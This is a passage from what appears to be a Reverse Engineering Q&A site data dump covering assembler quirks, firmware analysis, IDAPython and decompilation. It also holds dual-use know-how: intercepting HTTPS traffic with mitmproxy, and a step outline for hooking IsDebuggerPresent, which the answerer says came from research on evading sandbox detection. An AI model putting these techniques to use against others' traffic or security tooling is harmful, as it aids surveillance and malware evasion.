is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not know if this is expected behaviour from GNU AS? I am reading that it cannot calculate addresses lower than .org, and indeed if I set an .org of 0x8000 and call 0x2404 it ends up at 0xA404 so the call instruction is simply adding the displacement to the program counter and not calling an absolute address.&lt;/p&gt;&#xA;" OwnerUserId="19027" LastEditorUserId="19027" LastEditDate="2017-02-04T23:10:49.307" LastActivityDate="2017-02-04T23:10:49.307" Title="GNU Assembler - Tricore - how to set origin?" Tags="|assembly|reassembly|call|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14572" PostTypeId="1" AcceptedAnswerId="14573" CreationDate="2017-02-04T23:03:44.380" Score="-1" ViewCount="580" Body="&lt;p&gt;I want to sniff and decrypt HTTPS traffic of apps that ignore system proxy setting on macOS. If I understand correctly, common tools like Charles cannot help. How could I achieve that?&lt;/p&gt;&#xA;" OwnerUserId="19034" LastActivityDate="2017-02-05T22:14:53.730" Title="How to sniff HTTPS traffic of apps that ignore system proxy setting?" Tags="|sniffing|https-protocol|" AnswerCount="2" CommentCount="0" ClosedDate="2017-02-10T19:58:00.693" ContentLicense="CC BY-SA 3.0" />
  <row Id="14573" PostTypeId="2" ParentId="14572" CreationDate="2017-02-05T00:40:10.557" Score="1" Body="&lt;p&gt;If you can install an extra CA, it shouldn't be a problem. Mitmproxy has documentation on how to set up transparent intercepting. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.mitmproxy.org/en/stable/transparent.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://docs.mitmproxy.org/en/stable/transparent.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19033" LastActivityDate="2017-02-05T00:40:10.557" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14574" PostTypeId="1" AcceptedAnswerId="14575" CreationDate="2017-02-05T12:44:18.027" Score="2" ViewCount="691" Body="&lt;p&gt;I want to modify my ZyXEL P-2812HNU-F1 dsl router by storing some extra files in /etc. However, /etc is mounted as tmpfs so changes are lost on reboot. But there's probably a way around it ;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# cat /proc/mounts &#xA;rootfs / rootfs rw 0 0&#xA;/dev/root / yaffs2 ro,relatime 0 0&#xA;tmpfs /etc tmpfs rw,relatime 0 0&#xA;[..snip..]&#xA;/dev/mtdblock4 /mnt/Config yaffs2 rw,relatime 0 0&#xA;/dev/mtdblock3 /mnt/firmware yaffs2 rw,relatime 0 0&#xA;&#xA;# touch /am-i-really-mounted-rw&#xA;touch: /am-i-really-mounted-rw: Read-only file system&#xA;&#xA;# cat /proc/mtd &#xA;dev:    size   erasesize  name&#xA;mtd0: 01e00000 00020000 &quot;rootfs,kernel1&quot;&#xA;mtd1: 01e00000 00020000 &quot;rootfs,kernel2&quot;&#xA;mtd2: 00ac0000 00020000 &quot;reserve&quot;&#xA;mtd3: 02cc0000 00020000 &quot;firmware&quot;&#xA;mtd4: 00aa0000 00020000 &quot;config&quot;&#xA;mtd5: 00040000 00020000 &quot;mrd_cert1&quot;&#xA;mtd6: 00040000 00020000 &quot;mrd_cert2&quot;&#xA;&#xA;# cat /proc/cmdline &#xA;root=/dev/mtdblock0 rootfstype=yaffs2 console=ttyS0,115200 phym=128M mem=126M panic=1 vpe1_load_addr=0x87e00000M vpe1_mem=2M vpe1_wired_tlb_entries=0 &#xA;&#xA;# uname -a&#xA;Linux router 2.6.32.42 #25 Mon Oct 5 14:41:26 CST 2015 mips unknown&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So,&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Why is / mounted rw but actually read-only?&lt;/li&gt;&#xA;&lt;li&gt;Why are there two rootfs/kernel partitions? So the router can flash itself while running and then switch to the other upon boot?&lt;/li&gt;&#xA;&lt;li&gt;Can I safely copy the running kernel/rootfs to the other mtdblock by using dd? &lt;/li&gt;&#xA;&lt;li&gt;How do I boot from the other mtblock? I got a USB FTDI cable already.&lt;/li&gt;&#xA;&lt;li&gt;Or, is there another way to write persistent files to /etc here?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="19033" LastEditorUserId="19033" LastEditDate="2017-02-05T18:50:58.913" LastActivityDate="2017-02-05T19:02:05.990" Title="How to store files on a router's NAND without writing the whole firmware" Tags="|firmware|linux|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14575" PostTypeId="2" ParentId="14574" CreationDate="2017-02-05T19:02:05.990" Score="1" Body="&lt;p&gt;Alright, so thanks to Arkadiusz' comment, I figured out that all I had to do was &lt;code&gt;mount /dev/root / -o remount,rw -t yaffs2&lt;/code&gt; and presto, writable root!&lt;/p&gt;&#xA;" OwnerUserId="19033" LastActivityDate="2017-02-05T19:02:05.990" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14576" PostTypeId="1" AcceptedAnswerId="14577" CreationDate="2017-02-05T19:59:17.900" Score="-2" ViewCount="1388" Body="&lt;p&gt;I saw a very similar question about this on macOS just 20hrs ago but I'm always needing to do this on Android and I keep forgetting the name of the app. So this is just for reference.&lt;/p&gt;&#xA;" OwnerUserId="18572" LastActivityDate="2017-02-05T19:59:17.900" Title="How to sniff HTTPS traffic of Android apps that ignore the system proxy setting?" Tags="|android|sniffing|https-protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14577" PostTypeId="2" ParentId="14576" CreationDate="2017-02-05T19:59:17.900" Score="0" Body="&lt;h2&gt;Drony&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Acts as a local VPN and redirects &lt;strong&gt;all&lt;/strong&gt; traffic to a HTTP proxy. Its meant to be used with Orbot (TOR for Android) but can just as easily be used for this purpose using something like Fiddler to act as proxy server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://play.google.com/store/apps/details?id=org.sandroproxy.drony&amp;amp;hl=en_GB&quot; rel=&quot;nofollow noreferrer&quot;&gt;Android App Store&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18572" LastActivityDate="2017-02-05T19:59:17.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14578" PostTypeId="2" ParentId="14572" CreationDate="2017-02-05T22:14:53.730" Score="0" Body="&lt;p&gt;Get mitmproxy running. Set up that as the proxy for HTTP and HTTPS. Then load a web browser and to go &lt;a href=&quot;http://mitm.it&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://mitm.it&lt;/a&gt; and download the newly generated certificate. Double click the file you just downloaded. Then within Keychains you'll want to tell the system to trust that cert (&quot;always trust&quot;). &#xA;Then what I typically do is set the Router to the IP of the host running mitmproxy. Run mitmproxy with the transparent settings (-T) I believe.&lt;/p&gt;&#xA;" OwnerUserId="8057" LastActivityDate="2017-02-05T22:14:53.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14581" PostTypeId="1" AcceptedAnswerId="14584" CreationDate="2017-02-06T12:44:05.700" Score="3" ViewCount="24888" Body="&lt;p&gt;I'm trying to decompile an unknown Win32 executable using ILSpy. However, it only answers by giving me the useless message: &#xA;&lt;code&gt;This file does not contain a managed assembly.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also tried to use other tools like &lt;em&gt;dotPeek64&lt;/em&gt; and &lt;em&gt;Teleirik&lt;/em&gt; without success. Virustotal tell me that it is using: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[+] COMCTL32.dll&#xA;[+] ComMgr.dll&#xA;[+] KERNEL32.dll&#xA;[+] MSVCP90.dll&#xA;[+] MSVCR90.dll&#xA;[+] OLEAUT32.dll&#xA;[+] SHLWAPI.dll&#xA;[+] USER32.dll&#xA;[+] mfc90.dll&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strike&gt;I'm pretty sure it is made with .NET&lt;/strike&gt;, since this XML is present in the code:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;assembly xmlns=&quot;urn:schemas-microsoft-com:asm.v1&quot; manifestVersion=&quot;1.0&quot;&amp;gt;&#xA;  &amp;lt;trustInfo xmlns=&quot;urn:schemas-microsoft-com:asm.v3&quot;&amp;gt;&#xA;    &amp;lt;security&amp;gt;&#xA;      &amp;lt;requestedPrivileges&amp;gt;&#xA;        &amp;lt;requestedExecutionLevel level=&quot;asInvoker&quot; uiAccess=&quot;false&quot;&amp;gt;&amp;lt;/requestedExecutionLevel&amp;gt;&#xA;      &amp;lt;/requestedPrivileges&amp;gt;&#xA;    &amp;lt;/security&amp;gt;&#xA;  &amp;lt;/trustInfo&amp;gt;&#xA;  &amp;lt;dependency&amp;gt;&#xA;    &amp;lt;dependentAssembly&amp;gt;&#xA;      &amp;lt;assemblyIdentity type=&quot;win32&quot; name=&quot;Microsoft.VC90.CRT&quot; version=&quot;9.0.21022.8&quot; processorArchitecture=&quot;x86&quot; publicKeyToken=&quot;removed&quot;&amp;gt;&amp;lt;/assemblyIdentity&amp;gt;&#xA;    &amp;lt;/dependentAssembly&amp;gt;&#xA;  &amp;lt;/dependency&amp;gt;&#xA;  &amp;lt;dependency&amp;gt;&#xA;    &amp;lt;dependentAssembly&amp;gt;&#xA;      &amp;lt;assemblyIdentity type=&quot;win32&quot; name=&quot;Microsoft.VC90.MFC&quot; version=&quot;9.0.21022.8&quot; processorArchitecture=&quot;x86&quot; publicKeyToken=&quot;removed&quot;&amp;gt;&amp;lt;/assemblyIdentity&amp;gt;&#xA;    &amp;lt;/dependentAssembly&amp;gt;&#xA;  &amp;lt;/dependency&amp;gt;&#xA;&amp;lt;/assembly&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also note that I'm using Win8 and do not have VS installed. So my questions are: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;What do I need to do to resolve the above error?&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;What am I missing if anything?&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;How can I check if I have those *.dll's listed?&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;EDIT: I'm now thinking it was made with plain C++...&lt;/p&gt;&#xA;" OwnerUserId="3855" LastEditorUserId="3855" LastEditDate="2017-02-06T14:40:47.763" LastActivityDate="2017-02-06T14:40:47.763" Title="What to do with ILSpy error &quot;This file does not contain a managed assembly&quot;?" Tags="|windows|decompilation|.net|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14582" PostTypeId="1" CreationDate="2017-02-06T14:14:03.147" Score="1" ViewCount="13384" Body="&lt;p&gt;Using python in IDA, I would like tu create a partial file dump.&#xA;For exemple I would like to dump the data from offset X for a size of Y.&#xA;I believe I could do it by using the &lt;code&gt;idc.Dword&lt;/code&gt; function :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;offset = X&#xA;res = []&#xA;while offset &amp;lt; offset + Y:&#xA;    res.append(idc.Dword(offset))&#xA;    offset += 4&#xA;return res&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way of achieving that without reading manually each address?&lt;/p&gt;&#xA;" OwnerUserId="19048" LastActivityDate="2020-07-21T18:46:01.790" Title="IDA python : reading n bytes from an offset" Tags="|ida|python|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14583" PostTypeId="2" ParentId="14582" CreationDate="2017-02-06T14:22:42.243" Score="2" Body="&lt;p&gt;&lt;code&gt;idaapi.get_many_bytes&lt;/code&gt; did the trick :&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/ida_bytes-module.html#get_many_bytes&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.hex-rays.com/products/ida/support/idapython_docs/ida_bytes-module.html#get_many_bytes&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Update for newer versions :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Python&amp;gt;get_bytes.__doc__&#xA;Return the specified number of bytes of the program&#xA;    @param ea: linear address&#xA;    @param size: size of buffer in normal 8-bit bytes&#xA;    @param use_dbg: if True, use debugger memory, otherwise just the database&#xA;    @return: None on failure&#xA;             otherwise a string containing the read bytes  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/ida_bytes-module.html#get_bytes&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.hex-rays.com/products/ida/support/idapython_docs/ida_bytes-module.html#get_bytes&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19048" LastEditorUserId="14622" LastEditDate="2020-07-21T18:01:09.913" LastActivityDate="2020-07-21T18:01:09.913" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="14584" PostTypeId="2" ParentId="14581" CreationDate="2017-02-06T14:25:34.997" Score="3" Body="&lt;p&gt;This looks like a Win32 executable, .NET executables typically imports _CorExeMain from mscoree.dll. You can use an identification tool like PEiD or Detect It Easy to confirm it.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2017-02-06T14:25:34.997" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14585" PostTypeId="1" CreationDate="2017-02-06T14:35:03.240" Score="2" ViewCount="101" Body="&lt;p&gt;I have a really old cobol program that was used to store some data, the company is no loger active and the program had to receive a key every 3 months. What tools I can use to reverse a cobol program? I tried to use ida but didn't have any success, I have some experience reversing .net &lt;/p&gt;&#xA;" OwnerUserId="19049" LastActivityDate="2017-02-06T14:35:03.240" Title="COBOLII-MB 2.xx" Tags="|dos|dos-exe|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14587" PostTypeId="1" CreationDate="2017-02-06T22:29:37.170" Score="4" ViewCount="26131" Body="&lt;p&gt;I have a firmware that I've dumped from a phone. I found a uImage header and a zImage after running binwalk. The header says that the image is uncompressed, however I've read that zImages are usually compressed with lzma, xz, gzip, etc. Does this mean the zImage is uncompressed and I can work with it directly, without decompressing it?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;352768        0x56200         uImage header, header size: 64 bytes, header CRC: 0xFAAD7908, created: 2015-09-01 19:12:03, image size: 1283768 bytes, Data Address: 0xC8008000, Entry Point: 0xC8008000, data CRC: 0xB0AF08F8, OS: Linux, CPU: ARM, image type: OS Kernel Image, compression type: none, image name: &quot;Linux-3.4.20-rt31-dvf-v1.2.6.1-r&quot;&#xA;352832        0x56240         Linux kernel ARM boot executable zImage (little-endian)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18965" LastActivityDate="2017-02-07T13:36:18.017" Title="Decompressing zImage" Tags="|ida|firmware|decompress|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14588" PostTypeId="1" CreationDate="2017-02-07T00:14:46.060" Score="2" ViewCount="3839" Body="&lt;p&gt;I had bookmarked woodman.com/crackz a couple years back because it looked like it had some good content for learning how to reverse engineer, but I never had the time/vested interest to dig in deep and really start learning. I finally have the time and interest now but I just tried to go to the site and it seems like it's gone. Does anyone know of a mirror/archive of the site or what happened to it? Also if there isn't a mirror/archive what is another good site similar to its content?&lt;/p&gt;&#xA;" OwnerUserId="19059" LastActivityDate="2024-02-10T10:47:59.013" Title="What happened to woodman.com?" Tags="|disassembly|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14590" PostTypeId="2" ParentId="14588" CreationDate="2017-02-07T08:02:21.117" Score="3" Body="&lt;p&gt;It seems that woodmann.com, the RCE community, is no longer available and displays an ad.&lt;br&gt; Due to it's robots.txt blocking archive.org requests,There are no wayback machine archives.&#xA;However if you want to find other communities I suggest&lt;br&gt;&#xA;&lt;a href=&quot;https://www.reddit.com/r/ReverseEngineering/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.reddit.com/r/ReverseEngineering/&lt;/a&gt; &lt;br&gt;&#xA;&lt;a href=&quot;https://tuts4you.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tuts4you.com/&lt;/a&gt;&lt;br&gt;&#xA;You can get a free book called RE4B (reverse engineering for beginners) online&#xA;and there is another community called openrce&#xA;(couldn't post &gt;3 links because I have no reputation.)&lt;/p&gt;&#xA;" OwnerUserId="19064" LastActivityDate="2017-02-07T08:02:21.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14592" PostTypeId="2" ParentId="14587" CreationDate="2017-02-07T13:31:13.310" Score="4" Body="&lt;p&gt;the &lt;code&gt;zImage&lt;/code&gt; kernel is &quot;uncompressed&quot; in the meaning that it can be just copied to some place in RAM and run from there as-is, without additional decompression step. The bulk of the kernel is still compressed (most often with gzip), however there is a small uncompressed stub prepended to it which does the decompression in-place. So, depending on your goals, you can either just disassemble the start of the file to look at the decompressor code, or find the compressed data (searching for &lt;code&gt;1F 8B&lt;/code&gt; is a good starting point), decompress it and then disassemble that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://acassis.wordpress.com/2015/06/04/how-to-recover-and-decompress-a-linux-kernel-dumped-mtd-partition/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://acassis.wordpress.com/2015/06/04/how-to-recover-and-decompress-a-linux-kernel-dumped-mtd-partition/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also try the &lt;code&gt;extract-vmlinux&lt;/code&gt; script which tries to automate these steps: &lt;a href=&quot;https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2017-02-07T13:36:18.017" LastActivityDate="2017-02-07T13:36:18.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14593" PostTypeId="2" ParentId="14569" CreationDate="2017-02-07T14:33:37.500" Score="3" Body="&lt;p&gt;Because this is a relatively basic functionality, there's not builtin way to call that command from IDAPython. You could do some Qt trickery to fake that GUI menu being clicked by the user, but that seems too much effort.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To me it seems as if the easiest and cleanest solution here is to simply call &lt;code&gt;idaapi.get_many_bytes&lt;/code&gt; to get the buffer of data you're interesting in dumping, and then format it however you'd like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example, the following code snippet will output the binary data as a hexadecimal string:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;buf = idaapi.get_many_bytes(start, end)&#xA;buf.encode('hex')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or to get a c-like array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;buf = idaapi.get_many_bytes(start, end)&#xA;buf = buf.encode('hex')&#xA;two_hex_char_seq = map(operator.add, buf[::2], buf[1::2])&#xA;c_array = &quot;{0x&quot; + &quot;, 0x&quot;.join(two_hex_char_seq) + &quot;}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which will give an output similar to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2017-02-07T14:33:37.500" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14594" PostTypeId="1" AcceptedAnswerId="14595" CreationDate="2017-02-07T16:17:58.573" Score="3" ViewCount="1838" Body="&lt;p&gt;I find myself playing in strange territory lately, venturing far outside my comfort zone to test some theories. At present I want to return &lt;code&gt;True&lt;/code&gt; every time a specific program calls &lt;code&gt;IsDebuggerPresent&lt;/code&gt;, without actually debugging the program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I'm not a software developer, I'd really rather avoid writing code to do API hooking. My next thought was to use a modified &lt;code&gt;kernel32.dll&lt;/code&gt; in the same directory as the program, counting on &quot;DLL Load Order Hijacking&quot;. So... I modified a copy of the dll, essentially replacing the export for &lt;code&gt;IsDebuggerPresent&lt;/code&gt; with &lt;code&gt;mov eax, 1&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I open the DLL in IDA and examine the export, it shows exactly the code I patched in, but if I run the executable, when it makes the call to &lt;code&gt;IsDebuggerPresent&lt;/code&gt; the same address I modified instead shows a JMP to the proper &lt;code&gt;IsDebuggerPresent&lt;/code&gt; instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is what I'm trying to do even feasible, or do I have to do API hooking to make it work? I'm Really looking for a simple POC, so again, I'd prefer not to have to figure out a metric buttload of C++ just to test a theory.&lt;/p&gt;&#xA;" OwnerUserId="18770" LastEditorUserId="2147" LastEditDate="2017-02-08T11:16:52.743" LastActivityDate="2022-06-13T07:42:00.497" Title="Modifying Windows DLLs" Tags="|c++|dll|function-hooking|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14595" PostTypeId="2" ParentId="14594" CreationDate="2017-02-07T16:32:23.563" Score="5" Body="&lt;p&gt;Windows has a concept of trusted libraries to hamper attacks like these:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms682586(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;Dynamic-Link Library Search Order&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Citing from the search order:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If the DLL is on the list of known DLLs for the version of Windows on which the application is running, the system uses its copy of the known DLL (and the known DLL's dependent DLLs, if any) instead of searching for the DLL. For a list of known DLLs on the current system, see the following registry key: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So for your case, I would suggest giving API hooking a try ;) It really isn't too hard (Windows to the rescue for all your shady needs).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;some pointers for hooking&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You may go ahead and use Windows &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms644959(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hooking API&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it is quiet straight forward to do yourself:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Use GetProcAddress to find GetDebuggerPresent in your address space (Windows does not like ASLR). You can assume it is at the same location in the other process.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Backup the first few bytes (ReadProcessMemory), insert any hook (WriteProcessMemory) and you code (VirtualProtectEx).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;side node: you may need to elevate the permissions of your process first (OpenProcessToken, ...).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit 2:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found some of my old code. You can find it &lt;a href=&quot;https://gist.github.com/Nordwald/9d0cd13df6ac039d21df4fbdea36d28f&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. Please note this code was written for a research project to avoid Sandbox detection and that I was a student at the time (i.e. the code may not be high quallity).&lt;/p&gt;&#xA;" OwnerUserId="3162" LastEditorUserId="3162" LastEditDate="2017-02-08T08:36:01.430" LastActivityDate="2017-02-08T08:36:01.430" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14596" PostTypeId="1" CreationDate="2017-02-07T19:46:19.293" Score="9" ViewCount="3314" Body="&lt;p&gt;I am trying to RE a firmware for a TV STB, its based on a  GX3201 chip which is based on C-sky CPU (CK610M I think).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am stuck in the following points :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I am not able to properly identify the CPU architecture (probably MIPS).&lt;/li&gt;&#xA;&lt;li&gt;I am not able to properly identify the reset vector address to load the bootloader in IDA pro.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Does anyone have experience with these chips?&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Update&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;SDK and sources &lt;a href=&quot;http://www.mmnt.net/db/0/0/218.75.120.99/tools_zhangling&quot; rel=&quot;noreferrer&quot;&gt;Ftp server down&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;CPU instruction set found in a header file &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/file/d/0B_p4I0JC8J72ZGphTTUyMXE0Qk0/view?usp=sharing&quot; rel=&quot;noreferrer&quot;&gt;instruction set header file&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Update 2&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Using the toolchain of the CPU and disassembling the &lt;code&gt;vectors.o&lt;/code&gt; found in the lib directory gave me this : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000458 &amp;lt;__reset_vector&amp;gt;: &#xA;458:    711b lrw        r1, 0xA2A25441 &#xA;45a:    0f21 cmpne      r1, r2 &#xA;45c:    e802 bf         0x462 &#xA;45e:    1082 mfcr       r2, ss2 &#xA;460:    1093 mfcr       r3, ss3 &#xA;00000462 &amp;lt;skip_SS_ATAG&amp;gt;: &#xA;462:    0f21 cmpne      r1, r2 &#xA;464:    e003 bt         0x46c &#xA;466:    7218 lrw        r2, 0x0 // from address pool at 0x4c8 &#xA;468:    35f3 bseti      r3, r3, 31 &#xA;46a:    9302 st r3, (r2, 0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;&lt;code&gt;objdump -i&lt;/code&gt; Output :&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;elf32-csky-big&#xA; (header big endian, data big endian)&#xA;  csky&#xA;elf32-csky-little&#xA; (header little endian, data little endian)&#xA;  csky&#xA;elf32-little&#xA; (header little endian, data little endian)&#xA;  csky&#xA;elf32-big&#xA; (header big endian, data big endian)&#xA;  csky&#xA;srec&#xA; (header endianness unknown, data endianness unknown)&#xA;  csky&#xA;symbolsrec&#xA; (header endianness unknown, data endianness unknown)&#xA;  csky&#xA;verilog&#xA; (header endianness unknown, data endianness unknown)&#xA;  csky&#xA;tekhex&#xA; (header endianness unknown, data endianness unknown)&#xA;  csky&#xA;binary&#xA; (header endianness unknown, data endianness unknown)&#xA;  csky&#xA;ihex&#xA; (header endianness unknown, data endianness unknown)&#xA;  csky&#xA;&#xA; elf32-csky-big elf32-csky-little elf32-little elf32-big srec &#xA; csky elf32-csky-big elf32-csky-little elf32-little elf32-big srec   &#xA;&#xA; symbolsrec verilog tekhex binary ihex csky symbolsrec verilog tekhex binary ihex &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19073" LastEditorUserId="53" LastEditDate="2018-12-17T10:25:30.423" LastActivityDate="2020-07-10T15:17:13.297" Title="C-sky CPU reverse-engineering" Tags="|ida|disassembly|embedded|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="14597" PostTypeId="1" AcceptedAnswerId="14600" CreationDate="2017-02-07T21:07:14.007" Score="3" ViewCount="1699" Body="&lt;p&gt;I am quite new to retro-reverse-engineering, and I am concerned about my current hobby.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Months ago I started to reverse a 19 year old commercial game, no longer on sale (for ages), and not supported (the company has been taken over a decade ago).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The purpose of my work is not to share the reversed code (as I don't produce code but analyse the existing one) but rather to create a small tool to patch the game.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This patcher would not remove the original CD protection, it would only enable modification of features and behavior of the game. On top of that, I am considering sharing the code of this patcher on a public repository on GitHub.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But as I am approaching the end of my work, I am becoming concerned about the legal implications, because it is clearly illegal to modify an .exe when it is proprietary material. On the other hand I saw a lot of equivalent stuff for old games, and as far I know, their creator were not sued.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: in your opinion, is it risky to complete my patcher, and on top of that, to share its code?&lt;/p&gt;&#xA;" OwnerUserId="19074" LastEditorUserId="2147" LastEditDate="2017-02-08T10:56:20.233" LastActivityDate="2017-02-08T11:00:18.840" Title="Legal risks of retro engineering a 19 years old game" Tags="|disassembly|assembly|decompilation|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
